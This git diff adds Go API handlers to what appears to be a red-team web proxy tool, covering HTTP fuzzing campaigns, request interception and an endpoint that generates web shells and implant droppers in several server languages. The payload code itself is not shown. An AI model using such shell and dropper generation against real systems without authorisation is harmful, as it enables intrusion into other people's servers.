||||
var req fuzzerStartRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
rawBytes, err := base64.StdEncoding.DecodeString(req.Raw)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid raw base64")
|
||||
return
|
||||
}
|
||||
|
||||
// Detect fuzz positions in the request template
|
||||
positions := fuzzer.DetectPositions(rawBytes)
|
||||
if len(positions) == 0 {
|
||||
// Fallback: check for custom keyword
|
||||
keyword := req.FuzzKeyword
|
||||
if keyword == "" {
|
||||
keyword = "FUZZ"
|
||||
}
|
||||
if bytes.Contains(rawBytes, []byte(keyword)) {
|
||||
positions = []string{keyword}
|
||||
} else {
|
||||
writeError(w, http.StatusBadRequest, "request template does not contain any FUZZ position markers")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
threads := req.Threads
|
||||
if threads < 1 {
|
||||
threads = 10
|
||||
}
|
||||
if threads > 100 {
|
||||
threads = 100
|
||||
}
|
||||
|
||||
updateCL := req.UpdateContentLength == nil || *req.UpdateContentLength
|
||||
|
||||
cfg := fuzzer.Config{
|
||||
RawRequest: rawBytes,
|
||||
Scheme: req.Scheme,
|
||||
Host: req.Host,
|
||||
Positions: positions,
|
||||
Threads: threads,
|
||||
RateLimit: req.RateLimit,
|
||||
FollowRedirects: req.FollowRedirects,
|
||||
UpdateContentLength: updateCL,
|
||||
FuzzKeyword: req.FuzzKeyword,
|
||||
Matchers: req.Matchers,
|
||||
Filters: req.Filters,
|
||||
MatcherMode: req.MatcherMode,
|
||||
FilterMode: req.FilterMode,
|
||||
MaxStoredBodies: req.MaxStoredBodies,
|
||||
}
|
||||
|
||||
if len(positions) <= 1 {
|
||||
// Single-position mode
|
||||
if len(req.Wordlist) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlist is empty")
|
||||
return
|
||||
}
|
||||
cfg.Wordlist = req.Wordlist
|
||||
} else {
|
||||
// Multi-position mode
|
||||
mode := fuzzer.AttackMode(req.AttackMode)
|
||||
if mode != fuzzer.AttackSpray && mode != fuzzer.AttackSplit && mode != fuzzer.AttackYolo {
|
||||
writeError(w, http.StatusBadRequest, "invalid attackMode: must be spray, split, or yolo")
|
||||
return
|
||||
}
|
||||
cfg.AttackMode = mode
|
||||
|
||||
if mode == fuzzer.AttackSpray {
|
||||
// Spray: single wordlist used for all positions
|
||||
if len(req.Wordlist) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlist is empty")
|
||||
return
|
||||
}
|
||||
cfg.Wordlists = make(map[string][]string, len(positions))
|
||||
for _, pos := range positions {
|
||||
cfg.Wordlists[pos] = req.Wordlist
|
||||
}
|
||||
} else {
|
||||
// Split/Yolo: require a wordlist for each position
|
||||
if len(req.Wordlists) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
|
||||
return
|
||||
}
|
||||
for _, pos := range positions {
|
||||
wl, ok := req.Wordlists[pos]
|
||||
if !ok || len(wl) == 0 {
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
|
||||
return
|
||||
}
|
||||
_ = wl
|
||||
}
|
||||
cfg.Wordlists = req.Wordlists
|
||||
|
||||
// Safety limit for yolo mode
|
||||
if mode == fuzzer.AttackYolo {
|
||||
total := fuzzer.CalcTotal(cfg)
|
||||
if total > 10_000_000 {
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("yolo mode would generate %d requests (max 10,000,000)", total))
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
campaign := fuzzer.NewCampaign(cfg, cancel)
|
||||
s.fuzzerStore.Add(campaign)
|
||||
|
||||
go fuzzer.Run(ctx, campaign, s.transport, s.hub.Broadcast())
|
||||
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "fuzzer.started",
|
||||
Data: map[string]any{
|
||||
"campaignId": campaign.ID,
|
||||
"total": campaign.Total,
|
||||
},
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusCreated, map[string]any{
|
||||
"campaignId": campaign.ID,
|
||||
"total": campaign.Total,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerStop(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
campaign := s.fuzzerStore.Get(id)
|
||||
if campaign == nil {
|
||||
writeError(w, http.StatusNotFound, "campaign not found")
|
||||
return
|
||||
}
|
||||
if campaign.Status != fuzzer.StatusRunning {
|
||||
writeError(w, http.StatusConflict, "campaign is not running")
|
||||
return
|
||||
}
|
||||
campaign.Cancel()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "stopping"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerListCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
campaigns := s.fuzzerStore.List()
|
||||
type summary struct {
|
||||
ID string `json:"id"`
|
||||
Status fuzzer.CampaignStatus `json:"status"`
|
||||
CreatedAt string `json:"createdAt"`
|
||||
Total int `json:"total"`
|
||||
Completed int64 `json:"completed"`
|
||||
Errors int64 `json:"errors"`
|
||||
}
|
||||
items := make([]summary, 0, len(campaigns))
|
||||
for _, c := range campaigns {
|
||||
items = append(items, summary{
|
||||
ID: c.ID,
|
||||
Status: c.Status,
|
||||
CreatedAt: c.CreatedAt.Format(time.RFC3339),
|
||||
Total: c.Total,
|
||||
Completed: atomic.LoadInt64(&c.Completed),
|
||||
Errors: atomic.LoadInt64(&c.Errors),
|
||||
})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"campaigns": items})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerGetCampaign(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
campaign := s.fuzzerStore.Get(id)
|
||||
if campaign == nil {
|
||||
writeError(w, http.StatusNotFound, "campaign not found")
|
||||
return
|
||||
}
|
||||
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
|
||||
page, resultTotal := campaign.ResultsPage(offset, limit)
|
||||
if page == nil {
|
||||
page = []fuzzer.Result{}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"id": campaign.ID,
|
||||
"status": campaign.Status,
|
||||
"createdAt": campaign.CreatedAt.Format(time.RFC3339),
|
||||
"total": campaign.Total,
|
||||
"completed": atomic.LoadInt64(&campaign.Completed),
|
||||
"errors": atomic.LoadInt64(&campaign.Errors),
|
||||
"results": page,
|
||||
"resultTotal": resultTotal,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerGetResult(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
indexStr := r.PathValue("index")
|
||||
|
||||
campaign := s.fuzzerStore.Get(id)
|
||||
if campaign == nil {
|
||||
writeError(w, http.StatusNotFound, "campaign not found")
|
||||
return
|
||||
}
|
||||
|
||||
index, err := strconv.Atoi(indexStr)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid index")
|
||||
return
|
||||
}
|
||||
|
||||
result, found := campaign.GetResult(index)
|
||||
if !found {
|
||||
writeError(w, http.StatusNotFound, "result not found")
|
||||
return
|
||||
}
|
||||
|
||||
resp := map[string]any{
|
||||
"index": result.Index,
|
||||
"payload": result.Payload,
|
||||
"statusCode": result.StatusCode,
|
||||
"size": result.Size,
|
||||
"words": result.Words,
|
||||
"lines": result.Lines,
|
||||
"durationMs": result.DurationMs,
|
||||
"url": result.URL,
|
||||
"hasBody": result.ReqRaw != nil,
|
||||
}
|
||||
if result.Payloads != nil {
|
||||
resp["payloads"] = result.Payloads
|
||||
}
|
||||
if result.Error != "" {
|
||||
resp["error"] = result.Error
|
||||
}
|
||||
if result.ReqRaw != nil {
|
||||
resp["reqRaw"] = base64.StdEncoding.EncodeToString(result.ReqRaw)
|
||||
}
|
||||
if result.RespRaw != nil {
|
||||
resp["respRaw"] = base64.StdEncoding.EncodeToString(result.RespRaw)
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerDeleteCampaign(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
campaign := s.fuzzerStore.Get(id)
|
||||
if campaign == nil {
|
||||
writeError(w, http.StatusNotFound, "campaign not found")
|
||||
return
|
||||
}
|
||||
if campaign.Status == fuzzer.StatusRunning {
|
||||
writeError(w, http.StatusConflict, "cannot delete a running campaign")
|
||||
return
|
||||
}
|
||||
s.fuzzerStore.Delete(id)
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Request) {
|
||||
r.Body = http.MaxBytesReader(w, r.Body, 50<<20) // 50MB limit
|
||||
|
||||
file, _, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "missing file field")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var lines []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Buffer(make([]byte, 1<<20), 1<<20)
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line != "" {
|
||||
lines = append(lines, line)
|
||||
}
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("reading file: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"lines": lines,
|
||||
"count": len(lines),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/shell"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGenerate(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Format string `json:"format"`
|
||||
Mode string `json:"mode"` // "webshell" (default) | "dropper"
|
||||
ImplantURL string `json:"implantUrl"` // required when mode=dropper
|
||||
BinaryName string `json:"binaryName"` // required when mode=dropper && !inMemory
|
||||
InMemory bool `json:"inMemory"` // execute in memory without writing to disk
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
format := strings.ToLower(strings.TrimSpace(body.Format))
|
||||
mode := strings.ToLower(strings.TrimSpace(body.Mode))
|
||||
if mode == "" {
|
||||
mode = "webshell"
|
||||
}
|
||||
|
||||
if mode == "dropper" {
|
||||
s.handleGenerateDropper(w, format, body.ImplantURL, body.BinaryName, body.InMemory)
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
content string
|
||||
authKey string
|
||||
err error
|
||||
ext string
|
||||
)
|
||||
|
||||
switch format {
|
||||
case "asp":
|
||||
content, authKey, err = shell.GenerateASP()
|
||||
ext = "asp"
|
||||
case "aspx":
|
||||
content, authKey, err = shell.GenerateASPX()
|
||||
ext = "aspx"
|
||||
case "ashx":
|
||||
content, authKey, err = shell.GenerateASHX()
|
||||
ext = "ashx"
|
||||
case "php":
|
||||
content, authKey, err = shell.GeneratePHP()
|
||||
ext = "php"
|
||||
case "jsp":
|
||||
content, authKey, err = shell.GenerateJSP()
|
||||
ext = "jsp"
|
||||
case "cfm":
|
||||
content, authKey, err = shell.GenerateCFM()
|
||||
ext = "cfm"
|
||||
default:
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("unsupported format %q; use asp, ashx, aspx, cfm, jsp, or php", format))
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("generating shell: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"fileName": "joro." + ext,
|
||||
"authKey": authKey,
|
||||
"content": base64.StdEncoding.EncodeToString([]byte(content)),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGenerateDropper(w http.ResponseWriter, format, implantURL, binaryName string, inMemory bool) {
|
||||
// Validate implant URL
|
||||
implantURL = strings.TrimSpace(implantURL)
|
||||
if implantURL == "" {
|
||||
writeError(w, http.StatusBadRequest, "implantUrl is required for dropper mode")
|
||||
return
|
||||
}
|
||||
u, err := url.Parse(implantURL)
|
||||
if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
|
||||
writeError(w, http.StatusBadRequest, "implantUrl must be a valid HTTP or HTTPS URL")
|
||||
return
|
||||
}
|
||||
|
||||
// Validate binary name for disk mode
|
||||
if !inMemory {
|
||||
binaryName = strings.TrimSpace(binaryName)
|
||||
if binaryName == "" {
|
||||
writeError(w, http.StatusBadRequest, "binaryName is required for on-disk dropper mode")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
content string
|
||||
authKey string
|
||||
ext string
|
||||
)
|
||||
|
||||
switch format {
|
||||
case "php":
|
||||
content, authKey, err = shell.GenerateDropperPHP(implantURL, binaryName, inMemory)
|
||||
ext = "php"
|
||||
case "asp":
|
||||
content, authKey, err = shell.GenerateDropperASP(implantURL, binaryName, inMemory)
|
||||
ext = "asp"
|
||||
case "aspx":
|
||||
content, authKey, err = shell.GenerateDropperASPX(implantURL, binaryName, inMemory)
|
||||
ext = "aspx"
|
||||
case "ashx":
|
||||
content, authKey, err = shell.GenerateDropperASHX(implantURL, binaryName, inMemory)
|
||||
ext = "ashx"
|
||||
case "jsp":
|
||||
content, authKey, err = shell.GenerateDropperJSP(implantURL, binaryName, inMemory)
|
||||
ext = "jsp"
|
||||
case "cfm":
|
||||
content, authKey, err = shell.GenerateDropperCFM(implantURL, binaryName, inMemory)
|
||||
ext = "cfm"
|
||||
default:
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("unsupported format %q; use asp, ashx, aspx, cfm, jsp, or php", format))
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("generating dropper: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"fileName": "joro-dropper." + ext,
|
||||
"authKey": authKey,
|
||||
"content": base64.StdEncoding.EncodeToString([]byte(content)),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetHighlights(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
h := make(map[string]string, len(s.highlights))
|
||||
for k, v := range s.highlights {
|
||||
h[k] = v
|
||||
}
|
||||
s.mu.RUnlock()
|
||||
writeJSON(w, http.StatusOK, map[string]any{"highlights": h})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetHighlight(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
var body struct {
|
||||
Color string `json:"color"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
if body.Color == "" {
|
||||
delete(s.highlights, id)
|
||||
} else {
|
||||
s.highlights[id] = body.Color
|
||||
}
|
||||
s.mu.Unlock()
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "ok"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearHighlights(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.Lock()
|
||||
s.highlights = make(map[string]string)
|
||||
s.mu.Unlock()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "ok"})
|
||||
}
|
||||
@@ -0,0 +1,254 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// providerInfoResponse is the payload for GET /api/v1/plugins/interact-providers.
|
||||
type providerInfoResponse struct {
|
||||
Name string `json:"name"`
|
||||
Info sdk.InteractInfo `json:"info"`
|
||||
ConfigSchema []sdk.ConfigField `json:"configSchema"`
|
||||
}
|
||||
|
||||
// handleListInteractProviders lists all loaded InteractProviders with their
|
||||
// Info() metadata and ConfigSchema() so the UI can render a row per provider.
|
||||
func (s *APIServer) handleListInteractProviders(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pluginManager == nil {
|
||||
writeJSON(w, http.StatusOK, []providerInfoResponse{})
|
||||
return
|
||||
}
|
||||
providers := s.pluginManager.InteractProviders()
|
||||
out := make([]providerInfoResponse, 0, len(providers))
|
||||
for name, ip := range providers {
|
||||
out = append(out, providerInfoResponse{
|
||||
Name: name,
|
||||
Info: safeInteractInfo(name, ip),
|
||||
ConfigSchema: safeInteractConfigSchema(name, ip),
|
||||
})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, out)
|
||||
}
|
||||
|
||||
func (s *APIServer) makeInteractListInstancesHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ip := s.pluginManager.InteractProviders()[name]
|
||||
if ip == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
|
||||
defer cancel()
|
||||
instances, err := safeInteractListInstances(name, ip, ctx)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if instances == nil {
|
||||
instances = []sdk.InteractInstance{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, instances)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) makeInteractCreateInstanceHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ip := s.pluginManager.InteractProviders()[name]
|
||||
if ip == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
var config map[string]string
|
||||
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON body")
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
|
||||
defer cancel()
|
||||
inst, err := safeInteractCreateInstance(name, ip, ctx, config)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, inst)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) makeInteractDeleteInstanceHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ip := s.pluginManager.InteractProviders()[name]
|
||||
if ip == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
|
||||
defer cancel()
|
||||
if err := safeInteractDeleteInstance(name, ip, ctx, id); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) makeInteractSetEnabledHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ip := s.pluginManager.InteractProviders()[name]
|
||||
if ip == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON body")
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
|
||||
defer cancel()
|
||||
if err := safeInteractSetEnabled(name, ip, ctx, id, body.Enabled); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) makeInteractListInteractionsHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ip := s.pluginManager.InteractProviders()[name]
|
||||
if ip == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
instanceID := r.URL.Query().Get("instance_id")
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
|
||||
defer cancel()
|
||||
page, err := safeInteractListInteractions(name, ip, ctx, instanceID, offset, limit)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if page.Items == nil {
|
||||
page.Items = []sdk.InteractInteraction{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, page)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) makeInteractClearInteractionsHandler(name string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
ip := s.pluginManager.InteractProviders()[name]
|
||||
if ip == nil {
|
||||
writeError(w, http.StatusNotFound, "plugin not found")
|
||||
return
|
||||
}
|
||||
instanceID := r.URL.Query().Get("instance_id")
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
|
||||
defer cancel()
|
||||
if err := safeInteractClearInteractions(name, ip, ctx, instanceID); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Panic-safe wrappers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func safeInteractInfo(name string, ip sdk.InteractProvider) (info sdk.InteractInfo) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugins] %s: Info panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.Info()
|
||||
}
|
||||
|
||||
func safeInteractConfigSchema(name string, ip sdk.InteractProvider) (schema []sdk.ConfigField) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugins] %s: ConfigSchema panic: %v", name, r)
|
||||
schema = nil
|
||||
}
|
||||
}()
|
||||
return ip.ConfigSchema()
|
||||
}
|
||||
|
||||
func safeInteractListInstances(name string, ip sdk.InteractProvider, ctx context.Context) (out []sdk.InteractInstance, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: ListInstances panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.ListInstances(ctx)
|
||||
}
|
||||
|
||||
func safeInteractCreateInstance(name string, ip sdk.InteractProvider, ctx context.Context, config map[string]string) (inst sdk.InteractInstance, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: CreateInstance panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.CreateInstance(ctx, config)
|
||||
}
|
||||
|
||||
func safeInteractDeleteInstance(name string, ip sdk.InteractProvider, ctx context.Context, id string) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: DeleteInstance panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.DeleteInstance(ctx, id)
|
||||
}
|
||||
|
||||
func safeInteractSetEnabled(name string, ip sdk.InteractProvider, ctx context.Context, id string, enabled bool) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: SetInstanceEnabled panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.SetInstanceEnabled(ctx, id, enabled)
|
||||
}
|
||||
|
||||
func safeInteractListInteractions(name string, ip sdk.InteractProvider, ctx context.Context, instanceID string, offset, limit int) (page sdk.InteractionPage, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: ListInteractions panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.ListInteractions(ctx, instanceID, offset, limit)
|
||||
}
|
||||
|
||||
func safeInteractClearInteractions(name string, ip sdk.InteractProvider, ctx context.Context, instanceID string) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
log.Printf("[plugins] %s: ClearInteractions panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
return ip.ClearInteractions(ctx, instanceID)
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetInterceptQueue(w http.ResponseWriter, r *http.Request) {
|
||||
pending := s.intercept.List()
|
||||
|
||||
type item struct {
|
||||
ID string `json:"id"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Host string `json:"host"`
|
||||
ReqRaw string `json:"reqRaw"` // base64
|
||||
}
|
||||
|
||||
items := make([]item, 0, len(pending))
|
||||
for _, p := range pending {
|
||||
items = append(items, item{
|
||||
ID: p.ID,
|
||||
Method: p.Method,
|
||||
URL: p.URL,
|
||||
Host: p.Host,
|
||||
ReqRaw: base64.StdEncoding.EncodeToString(p.ReqRaw),
|
||||
})
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.intercept.IsEnabled(),
|
||||
"items": items,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleToggleIntercept(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
s.intercept.SetEnabled(body.Enabled)
|
||||
|
||||
s.mu.Lock()
|
||||
s.settings.InterceptEnabled = body.Enabled
|
||||
s.mu.Unlock()
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleForwardRequest(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
|
||||
var body struct {
|
||||
ReqRaw string `json:"reqRaw"` // base64-encoded modified raw request; optional
|
||||
}
|
||||
json.NewDecoder(r.Body).Decode(&body) //nolint:errcheck
|
||||
|
||||
var modifiedReq []byte
|
||||
if body.ReqRaw != "" {
|
||||
var err error
|
||||
modifiedReq, err = base64.StdEncoding.DecodeString(body.ReqRaw)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid reqRaw base64")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ok := s.intercept.Resolve(id, proxy.InterceptDecision{
|
||||
Action: proxy.ActionForward,
|
||||
ReqData: modifiedReq,
|
||||
})
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "request not found in queue")
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "forwarded"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDropRequest(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
|
||||
ok := s.intercept.Resolve(id, proxy.InterceptDecision{Action: proxy.ActionDrop})
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "request not found in queue")
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "dropped"})
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
type manipulateRequest struct {
|
||||
Raw string `json:"raw"` // raw HTTP request bytes, base64-encoded
|
||||
Scheme string `json:"scheme"` // "http" or "https"
|
||||
Host string `json:"host"` // host:port
|
||||
UpdateContentLength *bool `json:"updateContentLength,omitempty"` // recalculate Content-Length
|
||||
FollowRedirects *bool `json:"followRedirects,omitempty"` // follow HTTP redirects
|
||||
